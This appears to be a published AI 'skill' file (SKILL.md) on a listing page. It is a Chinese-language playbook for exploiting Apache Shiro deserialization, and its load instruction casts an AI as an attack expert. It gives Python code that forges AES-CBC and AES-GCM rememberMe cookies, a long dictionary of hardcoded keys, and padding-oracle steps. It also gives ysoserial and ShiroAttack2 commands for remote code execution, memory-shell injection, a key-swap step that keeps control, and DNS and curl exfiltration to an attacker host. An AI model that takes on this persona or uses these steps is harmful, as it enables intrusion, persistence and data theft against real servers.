Apache Shiro反序列化漏洞深度利用技能(v3.0.0)
SkillSecurityApache Shiro安全框架深度利用专业技能v3.0:rememberMe Cookie AES-CBC/CBC-GCM双模式深挖、密钥爆破方法论升级(Padding Oracle深度解密原理/工具选型/并行加速)、Gadget链版本兼容矩阵、Shiro-550/721、认证绕过全系列(CVE-2020-1957至CVE-2026-56091)、Tomcat内存马/错链回显、Shiro+Fastjson/Log4j组合链、Spring Boot生态实战面、AI大模型辅助攻击载荷生成与配置审计、从指纹识别到RCE完整攻击链
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Apache Shiro反序列化漏洞深度利用技能(v3.0.0) skill
What this skill tells your AI
The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/shiro-exploitation/SKILL.md and read by ahel’s review.
AI LOAD INSTRUCTION: Apache Shiro 深度利用专家打法。按已知前提:Java 反序列化与 AES 基础。聚焦 rememberMe 模式判定→key 爆破→gadget 链兼容选型→出网/不出网/回显/内存马,含认证绕过 CVE 系列路由(CVE-2020-1957 → CVE-2026-56091)。
概述
Apache Shiro是Java领域使用最广泛的安全框架之一,其rememberMe功能通过AES加密将用户身份序列化数据存储在Cookie中。当使用硬编码密钥(Hardcoded Key)时,攻击者可构造恶意rememberMe Cookie实现反序列化RCE;即使密钥不可知,CBC模式下的Padding Oracle攻击(Shiro-721)也可在无需密钥的情况下构造恶意密文。本技能站在资深攻防专家视角,系统化覆盖精确指纹识别→加密模式判定→密钥爆破→Gadget链选择→认证绕过→组合链利用→内存马/回显→WAF绕过→RCE完整攻击链,并深度融合AI大模型辅助攻击与2025-2026最新漏洞情报。
核心概念
rememberMeCookie:Base64编码的AES加密Java序列化数据,本质是"可被伪造的身份凭证"- CBC模式:Shiro <1.4.2默认使用AES/CBC/PKCS5Padding,IV固定为密钥本身的前16字节(CVE-2016-4437根因之一)
- GCM模式:Shiro >=1.4.2默认使用AES/GCM/NoPadding,每次随机IV(更安全的默认模式)
- Key:16字节(128位)AES密钥,Base64编码存储
- 默认Key:
kPH+bIxk5D2deZiIxcaaaA==(Shiro 1.2.4及之前硬编码在源码AbstractRememberMeManager.DEFAULT_CIPHER_KEY_BYTES,大量项目沿用至今) - 认证绕过 ≠ 反序列化:Shiro还有一整套URL路径解析差异导致的认证绕过家族,可与反序列化RCE叠加打出"未授权直达RCE"
- 版本生命周期:Shiro v1已于2024-02-28被v2取代,v2于2026-06-29被v3取代(v3.0.0修复2026年新披露CVE)
安全演进时间线
| 时间 | 编号 | 类型 | 影响/修复 | 突破/防御要点 |
|---|---|---|---|---|
| 2016-06 | CVE-2016-4437 (Shiro-550) | 反序列化RCE | <1.2.5,修复:随机Key | 硬编码Key kPH+bIxk5D2deZiIxcaaaA==,至今仍是最大入口 |
| 2019-08 | CVE-2019-12422 (Shiro-721) | Padding Oracle | <1.4.2,修复:默认GCM | CBC+固定IV,无需Key即可构造密文,需合法Cookie+海量请求 |
| 2020-03 | CVE-2020-1957 | 认证绕过 | <1.5.2,/xxx/..;/admin/ | Shiro与Spring对分号/路径规范化处理差异 |
| 2020-05 | CVE-2020-11989 | 认证绕过 | <1.5.3 | %2F双编码斜杠绕过 |
| 2020-06 | CVE-2020-11988 | 认证绕过 | 1957修复不彻底变体 | 分号/路径解析差异族 |
| 2020-08 | CVE-2020-13933 | 认证绕过 | <1.6.0 | %3B编码分号绕过 |
| 2020-11 | CVE-2020-17510 | 认证绕过 | <1.7.0 | %2e点号编码绕过 |
| 2020-12 | CVE-2020-17523 | 认证绕过 | <1.7.1 | 路径末尾空格绕过 |
| 2021-08 | CVE-2021-41303 | 认证绕过 | <1.8.0 | AntPathMatcher匹配差异(星号/多段) |
| 2023-01 | CVE-2023-22602 | 认证绕过 | Spring AntPathMatcher配置差异 | ?通配符与路径规范化 |
| 2023-07 | CVE-2023-34478 | 路径遍历→认证绕过 | <1.12.0,CVSS 9.8 | 与API/非标准化路由框架组合 |
| 2023-11 | CVE-2023-46749 | 路径穿越→认证绕过 | <1.13.0,需blockSemicolon=false+path rewriting | /file/anonUser/..%3b |
| 2023-11 | CVE-2023-46750 | 开放重定向 | <1.13.0,form认证 | 登录跳转URL校验缺失 |
| 2026-02 | CVE-2026-23901 | 用户名枚举(时间侧信道) | 1.x全部、2.x<2.0.7 | 用户不存在/存在时密码哈希耗时差异 |
| 2026-02 | CVE-2026-23903 | 认证绕过(大小写) | <2.0.7,仅静态文件+大小写不敏感文件系统 | 请求路径大小写变化绕过小写filter |
| 2026-02 | CVE-2026-23903同批 | 认证绕过 | 2.x系列 | 需跟踪官方公告 |
| 2026-06 | CVE-2026-56091 | 认证绕过(guice模块) | 全部2.x及3.0.0-alpha-1,修复3.0.0 | 类似CVE-2020-1957但影响shiro-guice |
| 2026-06 | CVE-2026-56130 | RememberMe Cookie重放 | 1.2.4~2.x及3.0.0-alpha-1 | 服务端不校验Cookie年龄,过期Cookie可无限重放 |
| 2026-06 | CVE-2026-49268/48589/44598/43827/43828 | 2026新披露系列 | 修复于2.x后续版本 | 关注shiro.apache.org/security-reports更新 |
一、Shiro指纹精确识别与版本判定
1.1 基础指纹确认
| 指纹特征 | 检测方法 |
|---|---|
rememberMe Cookie | 登录勾选"记住我"后观察响应Set-Cookie |
deleteMe Cookie | 发送无效rememberMe值,响应出现Set-Cookie: rememberMe=deleteMe即确认Shiro(Shiro 1.x遇到非法Cookie必回deleteMe) |
JSESSIONID | Shiro通常与JSESSIONID配合使用 |
| 错误页面特征 | Shiro默认错误页面/登录跳转特征 |
# 快速探测(ShiroAttack2 CLI)
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI detect -u http://target
1.2 加密模式判定(CBC vs GCM)
# 发送deleteMe探测
GET / HTTP/1.1
Cookie: rememberMe=1
# 观察响应:
# 如果rememberMe=deleteMe → 存在Shiro
# Cookie长度固定(相同payload每次相同)→ CBC模式
# Cookie长度每次变化(随机IV)→ GCM模式
| 特征 | CBC模式 | GCM模式 |
|---|---|---|
| Shiro版本 | <1.4.2 | >=1.4.2 |
| 加密算法 | AES/CBC/PKCS5Padding | AES/GCM/NoPadding |
| IV来源 | 密钥的前16字节 | 每次加密随机生成 |
| Cookie长度 | 固定(相同payload) | 每次不同(随机IV) |
| Cookie结构 | IV(16)+Ciphertext | IV(16)+Ciphertext+AuthTag(16) |
| Padding | PKCS5Padding | NoPadding |
| 解密错误 | BadPaddingException | AEADBadTagException |
| 反序列化入口 | 均可触发ObjectInputStream.readObject() | 同左 |
1.3 多版本精确区分(进阶)
仅靠CBC/GCM只能粗分1.4.2前后,实战中需要更精确的版本定位:
| 判定维度 | 方法 | 版本含义 |
|---|---|---|
| Cookie长度 | 有效rememberMe Cookie长度固定模式 | CBC模式 → <1.4.2 |
| 认证绕过Payload回显 | 试各CVE payload(见第七章) | 定位1.5.2/1.5.3/1.6.0/1.7.0/1.8.0/1.13.0边界 |
| 错误信息差异 | 触发反序列化错误观察异常类名/堆栈 | 可泄露精确版本号 |
| 响应头差异 | 不同版本deleteMe Set-Cookie细节 | 经验特征 |
| 依赖扫描 | Maven/Gradle依赖树、War包lib目录 | 最精确(白盒) |
| JNDI探测 | 特定Gadget链是否命中 | 推断依赖版本(如CB1命中=存在commons-beanutils) |
# 白盒/半白盒精确版本
mvn dependency:tree | grep shiro
# 或直接查看War包
unzip -l app.war | grep -i shiro
1.4 环境信息收集
- JDK版本:决定JNDI注入是否可行(RMI <=8u121,LDAP <=8u191;更高版本需Rogue-JNDI/tomcat EL);决定Jdk7u21链可用性;决定内存马注入方式
- 中间件类型:Tomcat/Jetty/Undertow/Spring Boot内嵌,决定回显与内存马技术路线(Tomcat Filter/Valve、Spring Interceptor/HandlerMethod)
- 启动方式:Spring Boot FatJar(
java -jar)→ LaunchedURLClassLoader;War部署→Tomcat容器ClassLoader(影响JNDI与BCEL链) - 第三方依赖:commons-beanutils(Shiro自带,CB1链核心)/commons-collections3/4/c3p0等,决定Gadget链选择
- 网络出口:决定出网(DNS/HTTP/JNDI外带)还是不出网(回显/内存马/写WebShell)利用路线
- 过滤器链配置:shiro.ini或Spring Boot配置中
/**=authc规则,同时是认证绕过利用的输入面 blockSemicolon状态:默认开启,关闭时可配合CVE-2023-46749利用
二、RememberMe机制与AES加密深度原理
2.1 完整数据流(理解漏洞前提)
登录成功(勾选rememberMe)
→ Subject身份信息(PrincipalCollection) Java序列化 → byte[]
→ AES加密(CBC: IV=Key[:16];GCM: 随机IV) → byte[]
→ Base64编码 → 写入rememberMe Cookie
请求到达
→ CookieRememberMeManager.getRememberedSerializedIdentity(Base64解码)
→ AbstractRememberMeManager.decrypt(AES解密)
→ convertBytesToPrincipals(Java反序列化 readObject)
→ 反序列化失败 → onRememberedPrincipalFailure → Set-Cookie: rememberMe=deleteMe
关键点:readObject()是攻击入口,deleteMe响应是攻击者最可靠的判定信号(Key爆破、Padding Oracle都依赖它)。
2.2 CBC模式深度原理(Shiro <1.4.2)
加密流程:
1. 序列化Java对象 → byte[]
2. PKCS5Padding填充
3. IV = Key的前16字节(这是Shiro-550/721漏洞的密码学根因!)
4. AES/CBC加密
5. 拼接: IV + Ciphertext
6. Base64编码 → rememberMe Cookie值
解密流程(CBC公式):
P_i = D(C_i) ⊕ C_{i-1} (P=明文块,C=密文块,D=AES解密)
P_1 = D(C_1) ⊕ IV (首块使用IV)
CBC模式构造Payload(Python):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def shiro_cbc_encrypt(key_b64, serialized_bytes):
key = base64.b64decode(key_b64)
iv = key[:16] # CBC模式IV=Key前16字节(漏洞根因)
cipher = AES.new(key, AES.MODE_CBC, iv)
padded = pad(serialized_bytes, AES.block_size)
ciphertext = cipher.encrypt(padded)
return base64.b64encode(iv + ciphertext).decode()
# payload = shiro_cbc_encrypt("kPH+bIxk5D2deZiIxcaaaA==", ysoserial_payload_bytes)
2.3 GCM模式深度原理(Shiro >=1.4.2)
加密流程:
1. 序列化Java对象 → byte[]
2. 随机生成16字节IV
3. AES/GCM加密(NoPadding,GCM本质是CTR流式+GHASH认证)
4. 拼接: IV + Ciphertext + AuthTag(16字节)
5. Base64编码 → rememberMe Cookie值
GCM模式构造Payload(Python):
import base64
import os
from Crypto.Cipher import AES
def shiro_gcm_encrypt(key_b64, serialized_bytes):
key = base64.b64decode(key_b64)
iv = os.urandom(16) # GCM模式随机IV
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
ciphertext, auth_tag = cipher.encrypt_and_digest(serialized_bytes)
return base64.b64encode(iv + ciphertext + auth_tag).decode()
# payload = shiro_gcm_encrypt("found_key_base64", ysoserial_payload_bytes)
2.4 CBC vs GCM安全模型对比
| 维度 | CBC | GCM |
|---|---|---|
| 认证性 | 无(纯机密性,可被篡改/POA) | 有AuthTag(完整性认证) |
| Padding Oracle | 可利用(Shiro-721) | 不可利用(NoPadding) |
| Key爆破判定 | BadPaddingException | AEADBadTagException |
| IV重用风险 | 存在(固定IV=Key) | 无(随机IV) |
| 绕过难度 | 较低 | 较高(但Key泄露照样沦陷) |
三、密钥爆破方法论升级
3.1 爆破原理与判定信号
核心思路:Shiro使用对称加密,只要拿到Key就能伪造Cookie。Key来源:
- 默认/硬编码Key(最高频,覆盖绝大多数实战)
- 弱Key字典爆破
- 代码/配置泄露(GitHub泄露、War包反编译、备份文件)
CBC模式Key爆破:
1. 使用候选Key对rememberMe Cookie(如rememberMe=1)进行AES-CBC解密
2. 无BadPaddingException → Key可能正确
3. 有异常 → Key不正确,继续下一个
GCM模式Key爆破:
1. 使用候选Key对rememberMe Cookie进行AES-GCM解密
2. 无AEADBadTagException且解密结果以Java序列化头AC ED 00 05开头 → Key正确
3. 有异常 → Key不正确
新一代验证方法(无需DNSLog):ShiroAttack2等现代工具不再依赖DNSLog外带验证,而是:
1. 构造 SimplePrincipalCollection 的合法序列化数据(Shiro身份对象)
2. 用候选Key加密成rememberMe Cookie发送
3. 响应中【没有】Set-Cookie: rememberMe=deleteMe → Key正确(Shiro成功解密并反序列化身份)
4. 有deleteMe → Key错误
这种方法无需目标出网、无需外部设施,且对CBC/GCM同样适用,是当前主流的Key验证标准。
3.2 AES-CBC Padding Oracle深度解密原理(Shiro-721核心)
攻击模型(CVE-2019-12422,影响1.2.5-1.4.1):
前提:拿到一个合法rememberMe Cookie(任意用户登录勾选rememberMe即可)
目标:无需知道Key,构造任意明文的密文(CBC-R加密)→ 伪造恶意序列化Payload
Oracle信号:攻击者修改Cookie密文后发送,Shiro解密:
- Padding非法 →
BadPaddingException→ 响应Set-Cookie: rememberMe=deleteMe - Padding合法 → 解密成功进入后续处理 → 响应不含deleteMe(不同版本信号可能不稳定,需结合状态码/响应体/时间差校准,这是实战主要难点)
逐字节解密原理(利用CBC公式P_i = D(C_i) ⊕ C_{i-1}):
以爆破最后一个密文块C_n为例,攻击者构造伪造块F与C_n拼接:
1. 设目标:使 P_n 的padding = 0x01(PKCS5合法)
2. P_n = D(C_n) ⊕ F,攻击者控制F
3. 遍历F最后一个字节(0x00-0xFF,平均128次):
直到Shiro判定padding合法(无deleteMe)→ 得到 D(C_n)[last] ⊕ F[last] = 0x01
4. 推出 P_n[last] = D(C_n)[last] ⊕ F[last]
5. 固定已解字节,构造padding=0x02继续爆破倒数第二字节
6. 依次类推:每字节平均128次请求,16字节块约2048次请求
CBC-R加密(构造任意恶意密文):
1. 将合法Cookie解出的密文作为"前缀"(保证反序列化时Java流头部有效)
2. 从尾部往前逐块构造:目标明文P_target已知(恶意payload)
F_i = P_target_i ⊕ D(C_{i+1}) (D未知,通过POA解密获得)
3. 最终拼接出完整恶意密文 → 重放rememberMe → RCE
实战注意:
- 请求量巨大(payload越长爆破越慢,每字节约128请求),Shiro-721利用非常"鸡肋"但原理必须掌握(它是理解现代CBC加固的核心)
- 需控制请求速率,避免触发WAF/限流
- 参考实现:
inspiringz/Shiro-721、longofo/PaddingOracleAttack-Shiro-721、ShiroExploit的721模块
3.3 爆破工具选型(2025-2026现状)
| 工具 | 语言 | CBC/GCM | 特点 | 适用场景 |
|---|---|---|---|---|
| ShiroAttack2 (SummerSec) | Java | 双模式自动切换 | GUI+CLI双模式、多版本CB gadget、内存马、changekey、--json结构化输出 | 首选,批量/脚本化/AI集成 |
| ShiroExploit (FightingLzn9) | Java | 双模式 | GCM支持、回显生成、721模块 | 单点深度利用 |
| shiro-exploit (yijingsec) | Python | 双模式 | check/yso/echo/encode子命令,无需DNSLog | 轻量快速验证 |
| ShiroExp (safe6Sec) | Go | 双模式 | 编译型速度快 | 大规模扫描 |
| Shiro_exploit (insightglacier) | Python | CBC为主 | 经典工具 | 快速默认Key验证 |
| shiro_attack (j1anFen) | Java | 双模式 | ShiroAttack2前身 | 历史场景 |
# ShiroAttack2 CLI 核心用法(--json适合AI/脚本解析)
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI detect -u http://target --json
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI crack -u http://target -f data/shiro_keys.txt --json
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI exec -u http://target -k <key> -c "id" --json
3.4 提速策略(并行与资源优化)
- 字典优先级:默认Key → Top 50高频 → 完整字典(250+条),80%+场景Top 50即可命中
- 并发爆破:多线程/异步并发(连接池复用,避免TCP握手开销);ShiroAttack2/Go工具天然支持
- GPU加速:在线爆破瓶颈在网络延迟而非计算,GPU收益有限;但在离线场景(已获取Key哈希/配置文件泄露的加密值)可用hashcat等GPU工具跑AES-128破解
- 连接复用:HTTP keep-alive + 单请求多Key判定(一次请求携带多种探测Cookie变体)减少往返
- 响应时间分析:解密成功时响应时间通常不同于失败,可辅助排序候选Key
- 状态码分析:部分应用解密失败返回500,可替代deleteMe信号
3.5 高频Key字典(Top 50+,完整字典250+条)
# Shiro默认Key(最高频!大量项目未修改,Shiro 1.2.4及之前硬编码)
kPH+bIxk5D2deZiIxcaaaA==
# 常见硬编码Key(脚手架/教程流传,2025-2026新报告中仍在出现)
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
zSyK5Kp6PZAAjlT+eeNMlg==
U3ByaW5nQmxhZGUAAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
bWdrXl9eNjY2KjA3Z2otPQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
r0e3c16IdVkouZgk1TKVMg==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
ZAvph3dsQs0FSL3SDFAdag==
tiVV6g3uZBGfgshesAQbjA==
cmVtZW1iZXJNZQAAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
RVZBTk5JR0hUTFlfV0FPVQ==
WkhBTkdYSUFPSEVJX0NBVA==
GsHaWo4m1eNbE0kNSMULhg==
l8cc6d2xpkT1yFtLIcLHCg==
KU471rVNQ6k7PQL4SqxgJg==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
25BsmdYwjnfcWmnhAciDDg==
3JvYhmBLUs0ETA5Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bXRvbnMAAAAAAAAAAAAAAA==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
# 其他常见Key(延伸字典)
WuB+y2gcHRnY2Lg9+Aqmqg==
3qDVdLawoIr1xFd6ietnwg==
YI1+nBV//m7ELrIyDHm6DQ==
2A2V+RFLUs+eTA3Kpr+dag==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Q01TX0JGTFlLRVlfMjAxOQ==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
kPH+bIxk5D2deZiIxcabaA==
kPH+bIxk5D2deZiIxcacaA==
3AvVhdAgUs0FSA4SDFAdBg==
4AvVhdsgUs0F563SDFAdag==
FL9HL9Yu5bVUJ0PDU1ySvg==
5RC7uBZLkByfFfJm22q/Zw==
eXNmAAAAAAAAAAAAAAAAAA==
fdCEiK9YvLC668sS43CJ6A==
3.6 爆破后的验证与利用衔接
1. 命中Key后先用URLDNS/SimplePrincipalCollection验证(不触发RCE)
2. 构造RCE Payload前先确认目标依赖环境(决定Gadget链)
3. 验证Gadget链可用性:先打无害命令(如touch /tmp/shiro_poc)再打敏感操作
4. 保留爆破记录(Key来源、验证时间、目标指纹)便于撰写报告
四、Gadget链选择与版本兼容矩阵
4.1 经典Gadget链矩阵
| 链名 | 依赖包 | 触发路径 | Shiro兼容性 |
|---|---|---|---|
| CommonsBeanutils1 | commons-beanutils:1.x | PriorityQueue→BeanComparator | 最佳选择(Shiro自带依赖) |
| CommonsBeanutils2 | commons-beanutils:1.9.x+CC3 | 绕过CC3黑名单 | 推荐 |
| CommonsCollections1 | commons-collections:3.1-3.2.1 | LazyMap→InvokerTransformer | 需目标有此依赖(3.2.2+已修复CC1) |
| CommonsCollections2 | commons-collections4:4.0 | TransformingComparator | 需commons-collections4 |
| CommonsCollections3 | commons-collections:3.1-3.2.1 | LazyMap+TemplatesImpl | 需CC3 |
| CommonsCollections5/6/7 | commons-collections:3.x | 多种触发方式 | CC6最稳定 |
| Jdk7u21 | JDK自带 | AnnotationInvocationHandler | JDK≤7u21(高版本JDK需LinkedHashSet变体) |
| URLDNS | JDK自带 | URL→hashCode→DNS | 探测用,非RCE |
4.2 现代Gadget链(2025-2026实战演进)
NoCC链(无需commons-collections,ShiroAttack2默认优先):
String链 / AttrCompare / ObjectToStringComparator 变体
→ 不依赖ComparableComparator(CC3.2.2+已从beanutils移除该依赖)
→ 仅需commons-beanutils 1.8.3/1.9.2 + 部分JDK自带类
→ 兼容性显著高于传统CB1,是2025-2026实战首选
优先级排序(现代实战):
1. NoCC变体链(AttrCompare/ObjectToStringComparator)→ 无需CC依赖
2. CommonsBeanutils1(CB1)→ Shiro自带commons-beanutils
3. CommonsBeanutils2(CB2)→ 绕过CC3黑名单版本
4. CommonsCollections6(CC6)→ CC3.2.2+仍可用
5. CommonsCollections2(CC2)→ 需CC4
6. Jdk7u21 → 无额外依赖但JDK版本限制
7. URLDNS → 仅探测验证
4.3 Shiro版本 × 依赖版本 × JDK版本兼容矩阵
| Shiro版本 | 加密模式 | 自带beanutils | 推荐链 | JDK限制 | 备注 |
|---|---|---|---|---|---|
| <1.2.5 | CBC | 1.8.x | CB1/CB2/CC6 | 无 | 硬编码Key,Shiro-550 |
| 1.2.5-1.4.1 | CBC | 1.8.x-1.9.x | CB1/CB2/CC6 | 无 | 随机Key但可Shiro-721 |
| 1.4.2-1.6.x | GCM | 1.9.x | NoCC/CB2/CC6 | 无 | 默认GCM |
| 1.7.0-1.13.0 | GCM | 1.9.x | NoCC/CB2 | 无 | 认证绕过系列修复 |
| 2.x | GCM | 1.9.x | NoCC/CB2 | 无 | 2024后主版本 |
4.4 CB1链详解(Shiro最佳经典链)
为什么CB1经典但需注意:
- Shiro框架自身依赖
commons-beanutils,无需目标额外引入CC - 但commons-beanutils 1.9.4+移除
ComparableComparator(依赖CC3.2.2),需改用NoCC变体或CB2
CB1触发路径:
PriorityQueue.readObject()
→ BeanComparator.compare()
→ PropertyUtils.getProperty()
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ Runtime.exec()
4.5 Payload生成
# ysoserial生成各链Payload
java -cp ysoserial.jar ysoserial.payloads.CommonsBeanutils1 "id" | base64
java -cp ysoserial.jar ysoserial.payloads.CommonsCollections6 "id" | base64
java -cp ysoserial.jar ysoserial.payloads.Jdk7u21 "id" | base64
# URLDNS探测(仅验证,非RCE)
java -cp ysoserial.jar ysoserial.payloads.URLDNS "http://shiro-test.dnslog.cn" | base64
# JRMPListener(出网回连)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "id"
五、完整利用流程:出网/不出网/回显/内存马
5.1 标准出网利用流程
Step 1: 指纹识别 → rememberMe=1 观察deleteMe
Step 2: 加密模式判断 → CBC/GCM(Cookie长度/结构)
Step 3: Key爆破 → 默认Key→Top50→完整字典
Step 4: DNSLog验证 → URLDNS Payload加密发送,检查DNS记录
Step 5: JNDI RCE(出网)
→ 启动JNDI服务器(marshalsec/rogue-jndi)
→ 构造JdbcRowSetImpl等JNDI注入链序列化数据
→ AES加密 → Base64 → rememberMe Cookie
→ 目标回连JNDI → 加载恶意类 → RCE
Step 6: 命令执行结果外带(DNS/HTTP)
5.2 不出网利用流程(回显/内存马)
Step 1-3: 同上(指纹/模式/Key)
Step 4: 选择不出网链(CB1/CB2/NoCC/TemplatesImpl)
Step 5: AES加密Payload(CBC: IV=Key[:16]+CT;GCM: IV+CT+Tag)
Step 6: 发送rememberMe Cookie
Step 7: 回显:命令写入自定义Header(cmd),结果通过Response回显
或写WebShell到Web目录持久化
5.3 回显利用技术(错链回显/无回显→有回显)
Tomcat回显(通过Header):
// 回显类通过修改Tomcat的Request/Response对象实现命令回显
// 命令通过自定义Header传入(如cmd/shell/exec),结果写回Response
// 适用于Tomcat 7-9,通过ThreadLocal获取当前Request/Response
Spring回显(SpringEcho):
// 通过RequestMappingHandlerAdapter获取当前请求上下文
// 适用于Spring Boot 2.x内嵌容器场景
DFS-AllEcho(通用回显):
// DFS算法回显,兼容Tomcat/Jetty/Undertow等主流容器
// ShiroAttack2集成的AllEcho回显生成器(jEG),失败自动回退Legacy
回显类型选型:
| 回显类型 | 适用中间件 | 备注 |
|---|---|---|
| TomcatEcho | Tomcat 7-9 | 最成熟 |
| SpringEcho | Spring Boot 2.x | 内嵌容器 |
| DFS-AllEcho | 多容器通用 | 兼容性最好 |
| ReverseEcho | 任意 | 反向连接,需目标出网 |
| NoEcho | 任意 | 无回显,配合写文件/DNS外带 |
5.4 内存马注入(无文件持久化)
注入类型与优先级:
Filter内存马 > Servlet内存马 > Listener内存马
Interceptor内存马(Spring MVC)
HandlerMethod内存马(Spring Boot)
TomcatValve内存马(Tomcat容器级)
内存马优势:
- 无需写文件到磁盘(规避文件落地检测)
- 攻击脱离rememberMe漏洞依赖(注入后无需Key即可控制)
- 重启后失效(部分场景需要反复注入)
现代工具集成:
# ShiroAttack2 注入内存马(哥斯拉/冰蝎/蚁剑等)
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI memshell \
-u http://target -k <key> -t filter -s godslinger
# 支持类型: Filter / Servlet / Interceptor / HandlerMethod / TomcatValve
5.5 Shiro Key篡改(changekey,巩固权限)
原理:利用内存马执行权限,动态修改服务端CookieRememberMeManager的AES Key
效果:
- 旧Key立即失效,彻底封死其他攻击者利用路径
- 攻击者持新Key可持续控制(相当于"改密码")
风险:可能导致业务登录异常(rememberMe全部失效),谨慎在生产环境使用
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI changekey \
-u http://target -k <old_key> -nk <new_key>
5.6 加密DNS外带(命令结果回传)
当目标不出HTTP但能出DNS(或HTTP外带被WAF拦截)时使用:
# 方案1:命令结果 → DNS查询(经典dnslog方式)
# 攻击者起DNS监听,命令结果拼入子域名
whoami | base64 | awk '{print $0".cmd.<你的dnslog域名>"}' | xargs -I{} sh -c 'nslookup {}'
# 方案2:自建DNS隧道(iodine/dnscat2思路,适合大流量回传)
# 方案3:HTTP外带(目标能出HTTP时更直观)
curl -d "$(id|base64)" http://attacker:8888/collect
六、Shiro-550 与 Shiro-721 深度剖析
6.1 Shiro-550(CVE-2016-4437)
- 漏洞类型:反序列化RCE(硬编码Key)
- 影响范围:Shiro 1.x < 1.2.5
- 利用条件:使用默认Key
kPH+bIxk5D2deZiIxcaaaA==(或可爆破的弱Key) - 利用链:CB1/CB2/CC系列 + AES加密 + rememberMe Cookie
- 修复:1.2.5改为随机生成Key
- 现状(2026):至今仍是Shiro最高频漏洞——大量项目沿用默认Key、脚手架代码十年未改、Key一旦写入配置/Docker镜像/源码仓库便难以轮换(客户端服务端必须一致,多节点全量更换成本高)
6.2 Shiro-721(CVE-2019-12422)
- 漏洞类型:Padding Oracle Attack(CBC模式IV重用+无认证)
- 影响范围:1.2.5-1.4.1(CBC模式)
- 利用条件:
- 已知一个有效rememberMe Cookie(任意账号登录勾选rememberMe)
- AES/CBC模式(IV=Key前16字节)
- 利用原理:详见3.2节(POA逐字节解密 + CBC-R任意密文构造)
- 修复:1.4.2默认切换GCM(认证加密,POA失效)
- 实战评价:利用"鸡肋"——请求量巨大(payload每字节约128次请求)、速度慢、信号易受版本影响;但原理是理解现代CBC安全的核心,也是各类Java框架POA利用的通用模板
6.3 Shiro-550 vs Shiro-721 对比
| 维度 | Shiro-550 | Shiro-721 |
|---|---|---|
| 需要Key | 是(默认Key或爆破) | 否(Padding Oracle) |
| 需要合法Cookie | 否 | 是 |
